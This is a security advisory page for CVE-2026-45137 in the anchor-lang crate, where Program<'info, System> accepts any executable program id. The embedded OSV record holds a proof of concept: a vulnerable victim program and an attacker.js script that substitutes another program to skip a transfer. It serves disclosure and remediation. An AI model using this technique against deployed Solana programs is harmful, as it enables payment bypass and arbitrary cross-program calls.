CVE-2026-45137: Anchor Program<'info, System> Is Not Properly Vulnerability
HIGHCVE-2026-45137 is a HIGH (CVSS 8.2) program<'info, system> is not properly vulnerability (CWE-20: Improper Input Validation) affecting Anchor libraries in the crates.io ecosystem. The issue involves program<'info, system> is not properly validated. Remediation is available by upgrading affected packages to version 1.0.2.
CVE-2026-45137 at a Glance
Security Impact
CVSS: 8.2
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N).
How to Fix CVE-2026-45137
To remediate this vulnerability, upgrade all affected Anchor dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade anchor-lang to 1.0.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for anchor-lang
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-45137, inspect your project dependencies for Anchor:
inspect dependencies for anchor-lang
Analyze the terminal output to locate any version of Anchor in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.2), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Anchor, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-45137 Affected Anchor Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
anchor-lang
|
crates.io |
≥ 1.0.0
< 1.0.2
|
1.0.2
|
References
Frequently Asked Questions
What is CVE-2026-45137?
Which Anchor versions are affected?
What version fixes CVE-2026-45137?
Is anchor-lang affected?
What is the CVSS score of CVE-2026-45137?
What CWE is associated with CVE-2026-45137?
How can I check crates.io dependencies for CVE-2026-45137?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-c6rc-8jpp-2fgc",
"modified" : "2026-06-08T23:54:37Z",
"published" : "2026-05-13T15:31:49Z",
"aliases" : [ "CVE-2026-45137" ],
"summary" : "Anchor: Program<'info, System> is not properly validated",
"details" : "### Summary\nAn logic error causes anchor programs to accept any program id when requiring the system program id, causing false assumptions resulting in potential arbitrary cpi in programs that invoke system program instructions.\n\n### Details\nIn the TryFrom<&'a AccountInfo<'a>> implementation for Program<'a, T>, the id of T is compared with Pubkey::default() to check whether anchor should allow any executable account, or a specific account, because when no T is supplied, T defaults to (), which implements Id::id() by returning Pubkey::default(). This results in T = () and T = System (which has Pubkey::default() as the id) having the same behavior, both allow any executable account. Programs built with anchor assume that the anchor runtime verifies passed in programs of type Program<'a, System> are in fact the system program. This false assumption can lead to arbitrary CPI or payment bypassing when programs try making CPI calls to the system program using the passed in system program due to the fact that the attacker can pass in any program instead of the system program.\n\nhttps://github.com/solana-foundation/anchor/blob/5ff3f96eeda91cc54b7fa525631eb8c1394fda04/lang/src/accounts/program.rs#L148-L163\n\n### PoC\nBuild and deploy the following anchor program:\n```rs\n/// victim.rs\n/// an anchor program that uses the system program in some way.\n\nuse anchor_lang::prelude::*;\nuse anchor_lang::prelude::program::invoke;\nuse anchor_lang::prelude::instruction::Instruction;\n\n#[derive(Accounts)]\npub struct Initialize<'info> {\n #[account(mut)]\n pub sender: Signer<'info>,\n #[account(mut)]\n pub recipient: SystemAccount<'info>,\n // the \"System\" part here should ensure that callers can only pass the system program.\n pub system_program: Program<'info, System>,\n}\n\npub fn handler(ctx: Context<Initialize>, amount: u64) -> Result<()> {\n // this should be the system program id, but due to an issue in the validation logic, this could be any program id.\n msg!(\"System program: {:?}\", ctx.accounts.system_program.key());\n\n // construct a transfer instruction\n // note that not only raw instructions, but also any other instruction\n // builders that properly forward the passed in program id are vulnerable.\n let mut data = Vec::new();\n data.extend_from_slice(&[2, 0, 0, 0]); // transfer discriminator\n data.extend_from_slice(&amount.to_le_bytes()); // amount\n\n let accounts = vec![\n AccountMeta::new(ctx.accounts.sender.key(), true),\n AccountMeta::new(ctx.accounts.recipient.key(), false),\n ];\n\n let ix = Instruction {\n program_id: ctx.accounts.system_program.key(),\n accounts,\n data,\n };\n\n let account_infos = [\n ctx.accounts.sender.to_account_info(),\n ctx.accounts.recipient.to_account_info(),\n ctx.accounts.system_program.to_account_info(),\n ];\n\n // invoke the transfer instruction\n invoke(&ix, &account_infos)?;\n\n Ok(())\n}\n```\n\nRun the following javascript code in the project after installing @coral-xyz/anchor and @solana/web3.js\n\n```js\n/// attacker.js\n/// a script that exploits the vulnerability in the victim program, in this case it simply causes the transfer to never happen\n/// while the victim program thinks it has happened.\n\nimport { Connection, Keypair, PublicKey, SystemProgram } from \"@solana/web3.js\";\nimport { AnchorProvider, Program, Wallet } from \"@coral-xyz/anchor\";\nimport BN from \"bn.js\";\nimport fs from \"fs\";\nimport idl from \"./victim_idl.json\" with { type: \"json\" }; // the idl of the victim program, generated by `anchor build`\n\nconst keypair = Keypair.generate();\nconst receiver = Keypair.generate();\n\nconst connection = new Connection(\"http://localhost:8899\", \"confirmed\");\nconst provider = new AnchorProvider(connection, new Wallet(keypair), {});\n\nasync function airdrop(publicKey, amount) {\n const tx = await connection.requestAirdrop(publicKey, amount);\n await connection.confirmTransaction(tx);\n console.log(`Airdropped ${amount} lamports to ${publicKey.toBase58()}`);\n}\n\nasync function printBalance(publicKey) {\n const balance = await connection.getBalance(publicKey);\n console.log(`Balance of ${publicKey.toBase58()}: ${balance} lamports`);\n}\n\nawait airdrop(keypair.publicKey, 1e9);\nawait airdrop(receiver.publicKey, 1e9);\n\nconst program = new Program(idl, provider);\n\nconst tx = await program.methods\n .initialize(new BN(1e9 / 2))\n .accounts({\n sender: keypair.publicKey,\n recipient: receiver.publicKey,\n // we pass the compute budget program instead of the system program\n // the victim will call the compute budget program thinking it's the system program, and the transfer will never happen.\n // if we comment this out, anchor will pass in the system program and the transfer will succeed\n systemProgram: new PublicKey(\"ComputeBudget111111111111111111111111111111\"),\n })\n .rpc();\n\nconsole.log(\"Transaction signature:\", tx);\nawait connection.confirmTransaction(tx);\n\n// Check balances\nawait printBalance(keypair.publicKey);\nawait printBalance(receiver.publicKey);\n\n/*\n\nexpected balances:\n499995000\n1500000000\n\nactual balances:\n999995000\n1000000000\n\n*/\n```\n\nInspect the solana validator logs and javascript output, you'll see the program did not transfer any lamports.\n\nIf you uncomment the systemProgram account override in the javascript code and rerun it, you'll see the victim program behaves as expected and lamports are actually transferred.\n\n### Impact\nThis is an account validation bypass, impacting on-chain programs that rely on the system program. It allows for potential CPI and payment bypasses, amongst other issues such as accounts being created through CPI that should be owned by system program now being owned by an attacker controlled program.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "crates.io",
"name" : "anchor-lang"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.0.0"
}, {
"fixed" : "1.0.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/otter-sec/anchor/security/advisories/GHSA-c6rc-8jpp-2fgc"
}, {
"type" : "WEB",
"url" : "https://github.com/solana-foundation/anchor/security/advisories/GHSA-c6rc-8jpp-2fgc"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45137"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/solana-foundation/anchor"
}, {
"type" : "WEB",
"url" : "https://github.com/solana-foundation/anchor/releases/tag/v1.0.2"
}, {
"type" : "WEB",
"url" : "https://rustsec.org/advisories/RUSTSEC-2026-0144.html"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-13T15:31:49Z",
"nvd_published_at" : "2026-05-27T21:16:18Z"
}
}